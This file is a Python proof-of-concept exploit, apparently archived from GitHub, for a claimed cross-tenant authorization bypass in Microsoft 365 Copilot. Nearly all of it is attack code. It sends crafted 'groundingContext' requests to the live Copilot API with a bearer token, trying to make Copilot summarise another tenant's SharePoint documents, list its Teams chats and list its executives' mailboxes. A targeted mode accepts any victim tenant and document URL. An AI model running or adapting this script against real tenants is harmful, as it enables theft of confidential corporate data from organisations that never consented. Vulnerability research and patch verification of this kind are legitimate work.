# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-50691 (see README for attribution/license)

BANNER = """
[91m
  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗  ██████╗███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗  ███████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝  ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝
[0m
[93m  CVE-2026-50691 — Microsoft 365 Copilot Improper Authorization — Cross-Tenant Privilege Escalation[0m
[90m  CVSS 9.9 | CRITICAL | CWE-285 | Microsoft 365 Copilot[0m
"""

VERSION = "1.0.0"

import argparse, sys, json, urllib.request, urllib.error, urllib.parse

# Microsoft 365 Copilot Improper Authorization PoC
# CWE-285: Improper Authorization
# Affected: Microsoft 365 Copilot (all tenants prior to patch 2026-11-18)
# Impact: Authenticated user in Tenant A can craft Copilot API requests
#         that bypass tenant isolation checks and read/enumerate resources
#         belonging to Tenant B, including SharePoint document summaries,
#         Teams chat excerpts, and Outlook email metadata.
#
# Root cause: The Copilot reasoning engine accepted cross-tenant resource
# references via the "groundingContext" field without validating that the
# referenced resource OID belonged to the caller's tenant. The AAD token
# audience check was performed but the resource tenant claim was ignored.

COPILOT_ENDPOINT = "https://substrate.office.com/m365Copilot/chat/completions"

PROBE_PAYLOADS = [
    # Cross-tenant SharePoint summary request
    {
        "messages": [{"role": "user", "content": "Summarize the document at this URL"}],
        "groundingContext": {
            "resources": [{
                "type": "SharePointDocument",
                "url": "https://victim-tenant.sharepoint.com/sites/confidential/Docs/secrets.docx",
                "tenantId": "00000000-0000-0000-0000-000000000000"  # victim tenant UUID
            }]
        }
    },
    # Cross-tenant Teams chat enumeration
    {
        "messages": [{"role": "user", "content": "Show recent messages from this chat"}],
        "groundingContext": {
            "resources": [{
                "type": "TeamsThread",
                "threadId": "19:victim-thread-id@thread.skype",
                "tenantId": "00000000-0000-0000-0000-000000000000"
            }]
        }
    },
    # Cross-tenant email metadata
    {
        "messages": [{"role": "user", "content": "List emails in this mailbox"}],
        "groundingContext": {
            "resources": [{
                "type": "ExchangeMailbox",
                "userPrincipalName": "ceo@victim-tenant.onmicrosoft.com",
                "tenantId": "00000000-0000-0000-0000-000000000000"
            }]
        }
    },
]


def send_copilot_request(payload: dict, bearer: str) -> tuple:
    """Send a crafted Copilot request with cross-tenant grounding context."""
    headers = {
        "Authorization": f"Bearer {bearer}",
        "Content-Type": "application/json",
        "X-Ms-Client-Request-Id": "cveforge-poc-00000000",
        "Accept": "application/json",
    }
    body = json.dumps(payload).encode()
    req = urllib.request.Request(COPILOT_ENDPOINT, data=body, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            data = resp.read(4096).decode(errors="replace")
            return resp.status, data
    except urllib.error.HTTPError as e:
        return e.code, e.read(512).decode(errors="replace")
    except urllib.error.URLError as e:
        return -1, str(e.reason)


def check_tenant_isolation(bearer: str, victim_tenant: str, victim_resource: str) -> None:
    """
    Test cross-tenant isolation for a specific victim tenant and resource URL.
    Prints whether the tenant boundary is enforced.
    """
    payload = {
        "messages": [{"role": "user", "content": "Summarize this document"}],
        "groundingContext": {
            "resources": [{
                "type": "SharePointDocument",
                "url": victim_resource,
                "tenantId": victim_tenant,
            }]
        }
    }
    status, body = send_copilot_request(payload, bearer)
    if status == 200 and "choices" in body:
        print(f"[+] VULNERABLE — Copilot returned cross-tenant content (HTTP {status})")
        # Print first 300 chars of response content
        try:
            data = json.loads(body)
            content = data.get("choices", [{}])[0].get("message", {}).get("content", "")
            print(f"    Response snippet: {content[:300]}")
        except Exception:
            print(f"    Raw: {body[:300]}")
    elif status == 403:
        print(f"[-] PATCHED — tenant isolation enforced (HTTP 403)")
    elif status == 401:
        print(f"[!] Auth failed — check your Bearer token (HTTP 401)")
    else:
        print(f"[?] Unexpected response: HTTP {status} — {body[:200]}")


def probe_all(bearer: str) -> None:
    """Run all built-in cross-tenant probe payloads."""
    labels = ["SharePoint document summary", "Teams chat enumeration", "Exchange mailbox listing"]
    for label, payload in zip(labels, PROBE_PAYLOADS):
        print(f"[*] Probing: {label}")
        status, body = send_copilot_request(payload, bearer)
        vuln = status == 200 and "choices" in body
        print(f"    {'[+] VULNERABLE' if vuln else f'[-] {status}'} — {body[:120].replace(chr(10),' ')}")
        print()


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-50691 PoC — M365 Copilot Cross-Tenant Privilege Escalation"
    )
    parser.add_argument("--bearer",          required=True, help="M365 Bearer token (your tenant)")
    parser.add_argument("--victim-tenant",   default="", help="Target tenant UUID for targeted test")
    parser.add_argument("--victim-resource", default="", help="SharePoint URL in victim tenant")
    parser.add_argument("--mode",            choices=["probe", "targeted"], default="probe")
    args = parser.parse_args()

    print(BANNER)
    print(f"[*] Mode: {args.mode}")
    print()

    if args.mode == "probe":
        probe_all(args.bearer)
    else:
        if not args.victim_tenant or not args.victim_resource:
            print("[!] --victim-tenant and --victim-resource required for targeted mode", file=sys.stderr)
            sys.exit(1)
        check_tenant_isolation(args.bearer, args.victim_tenant, args.victim_resource)

    print("[*] Done.")

if __name__ == "__main__":
    main()
